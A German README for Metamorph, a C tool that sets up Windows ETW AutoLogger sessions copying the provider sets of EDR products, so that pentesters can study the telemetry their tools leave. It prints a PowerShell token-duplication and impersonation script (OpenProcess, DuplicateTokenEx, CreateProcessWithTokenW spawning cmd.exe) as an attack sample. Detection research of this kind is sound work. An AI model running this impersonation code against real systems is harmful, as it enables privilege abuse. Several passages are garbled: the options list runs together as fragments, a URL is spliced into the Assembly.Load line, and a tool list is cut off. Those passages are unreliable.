
Ein in C geschriebenes Befehlszeilen-Dienstprogramm für Windows, das persistente Event Tracing for Windows (ETW) AutoLogger-Sitzungen erstellt und konfiguriert.
Dieses Tool ist ein Befehlszeilenprogramm für Windows, das in C geschrieben ist und persistente Event Tracing for Windows (ETW)-AutoLogger-Sitzungen erstellt und konfiguriert. AutoLogger starten automatisch die Ablaufverfolgung bestimmter ETW-Anbieter beim Systemstart, was sie nützlich macht, um Ereignisse zu erfassen, die früh im Bootprozess auftreten, oder für Szenarien mit kontinuierlicher Überwachung.
Dieses Tool ermöglicht die Auswahl vordefinierter Listen von ETW-Anbietern, die mit bekannten EDR-Lösungen in Verbindung stehen, um sie über Befehlszeilenargumente in die AutoLogger-Sitzung aufzunehmen. Es führt Konfigurationen zusammen, wenn derselbe Anbieter in mehreren ausgewählten Listen enthalten ist, und stellt sicher, dass die höchste Protokollierungsstufe verwendet wird und Schlüsselwort-Flags entsprechend kombiniert werden, um die Ereignisabdeckung basierend auf den ausgewählten Listen zu maximieren.
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\WMI\Autologger\Metamorph).-Defender, -Crowdstrike, -MDE, , ).-Sentinelone-Cortex-All).-noisy)Level-Angabe aller Duplikate für einen Anbieter bei.MatchAnyKeyword-Flags mittels bitweisem ODER aus allen Duplikaten (unabhängig von der Stufe), um die breiteste Schlüsselwortabdeckung zu gewährleisten.MatchAllKeyword aus dem Konfigurationseintrag, der die höchste Stufe bereitgestellt hat.Sie benötigen einen C-Compiler, z. B. den in Visual Studio enthaltenen.
Es gibt keine nicht standardmäßigen Imports, daher sollte die Cl-Kompilierung ohne große Probleme möglich sein.
Wichtig: Dieses Tool ändert die Windows-Registrierung (HKEY_LOCAL_MACHINE) und erfordert daher Administratorrechte, um korrekt zu funktionieren.
.\Metamorph.exe <optionen>
# Nur Anbieter von Defender aktivieren
.\Metamorph.exe -Defender
# Anbieter von Defender und MDE aktivieren, Duplikate zusammenführen
.\Metamorph.exe -Defender -MDE
# Alle Anbieter aller Engines aktivieren, Duplikate zusammenführen
.\Metamorph.exe -All
# Einen Anbieter aktivieren, auch mit lauten, warum nicht schließlich die Festplatte füllen?
.\Metamorph.exe -All -noisy
Nach der Initialisierung muss ein Neustart erfolgen, damit der neu registrierte Anbieter startet.
Um diesen Anbieter zu bereinigen, muss man:
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\WMI\Autologger\Metamorph)ETW bietet tiefe Einblicke in Laufzeitereignisse. Dies kann genutzt werden, um potenziell verdächtige Aktivitäten zu erkennen, die auf Malware-Aktivitäten oder Verschleierungstechniken hindeuten könnten. Nach der Installation sollten die Anbieter dieselbe Stufe an "Event Log"-Telemetrie liefern wie das "geklonte" EDR. Dies sollte die Forschung nach IOCs erleichtern, die von internen Tools hinterlassen werden könnten.
Nachdem das System neu gestartet wurde und die interessierenden Anwendungen ausgeführt wurden, enthält die .etl-Datei (z. B. Metamorph.etl) die erfassten Ereignisse.
Die erzeugte Datei (C:\Windows\System32\LogFiles\WMI\Metamorph.etl.00x) kann von verschiedenen öffentlichen Tools verarbeitet werden, wie zum Beispiel:
Nota bene: Metamorph verwendet zirkuläre Protokolldateien, um sie nach einem Neustart nicht versehentlich zu verlieren, aber einige Tools benötigen, dass die Dateien mit .etl enden. Sie müssen also das Suffix vor der Verwendung entfernen.
Außerdem ist es möglich, die .etl-Datei für schnelles Greppen in eine CSV-Datei zu konvertieren:
tracerpt MyKeywordMergedETWLogger.etl -o logdump.csv -of CSV
Nehmen wir an, wir haben das folgende Powershell-Programm, das eine Datei mit Assembly.Load lädt:
[Reflection.Assembly]:https://raw.githubusercontent.com/synacktiv/metamorph/main/:Load(%5BSystem.Convert%5D::FromBase64String(%22TVqQAAMAAAAEAAAA/8AALgAAAAAAAAAQAAAAAA%5B...%5DAAAAAAAAAAAAA%22))
#Récupération du handle sur le process cible
$ProcessDesiredAccess = 0x00000400
$InheritHandle = 0
$ProcessId = $PID
$hProcess = [api32.run]::OpenProcess($ProcessDesiredAccess, $InheritHandle, $ProcessId)
if($hProcess -eq 0){ Write-Output "OpenProcess Error" }
#Récupération du handle sur le token du process cible
$hToken = [IntPtr]::Zero
$TokenDesiredAccess = 0x00000006
$Success = [api32.run]::OpenProcessToken($hProcess, $TokenDesiredAccess, [ref]$hToken)
if(-not $Success){ Write-Output "OpenProcessToken Error" }
#Duplication du token
$DesiredAccess = 0x10000000
$SecurityAttribute = New-Object api32.run+_SECURITY_ATTRIBUTES
$SecurityAttribute.lpSecurityDescriptor = [IntPtr]::Zero
$SecurityAttribute.bInheritHandle = $true
$ImpersonationLevel = 3
$TokenType = 1
$hDuplicatedToken = [IntPtr]::Zero
$Success = [api32.run]::DuplicateTokenEx($hToken, $DesiredAccess,[ref]$SecurityAttribute, $ImpersonationLevel, $TokenType,[ref]$hDuplicatedToken)
if(-not $Success) { Write-Debug "DuplicateTokenEx Error" }
#Creation du cmd avec le token dupliqué
$LogonFlags = 0
$ApplicationName = "cmd.exe"
$CommandLine = "/K whoami /all"
$CreationFlags = 0x00000010
$Environnement = [IntPtr]::Zero
$CurrentDirectory = "c:\windows\system32"
$StartUpinformation = New-Object api32.run+STARTUPINFOA
$ProcessInformation = New-Object api32.run+_PROCESS_INFORMATION
$Success = [api32.run]::CreateProcessWithTokenW($hDuplicatedToken, $LogonFlags,$ApplicationName, $CommandLine, $CreationFlags, $Environnement, $CurrentDirectory, [ref]$StartUpinformation,[ref]$ProcessInformation)
if(-not $Success) { Write-Debug "CreateProcessWithTokenW Error" }
Dieses Skript führt im Wesentlichen einen Angriff aus, wie er auch mit dem Tool impersonate.exe durchgeführt werden könnte.




Am Ende haben EDR und Analysten also die Möglichkeit, eine Signaturanalyse basierend auf dem AssemblyName für bekannte Binärdateien durchzuführen (wie: "Rubeus") und ansonsten haben sie die Möglichkeit, PowerShell-Skripte (einschließlich Kommentaren) für die Post-Mortem-Analyse abzurufen.
Wenn Sie dieses Tool nützlich finden, können Sie Ihre eigenen (oder andere) Lösungen gemäß den Anweisungen in CONTRIBUTING.md hinzufügen. Ich werde versuchen, es regelmäßig zu aktualisieren, aber da es vollständig von Lösungen abhängt, die während Pentests gefunden werden, können Sie gerne einen PR einreichen, wenn Sie möchten, dass Ihre Änderungen für alle verfügbar sind.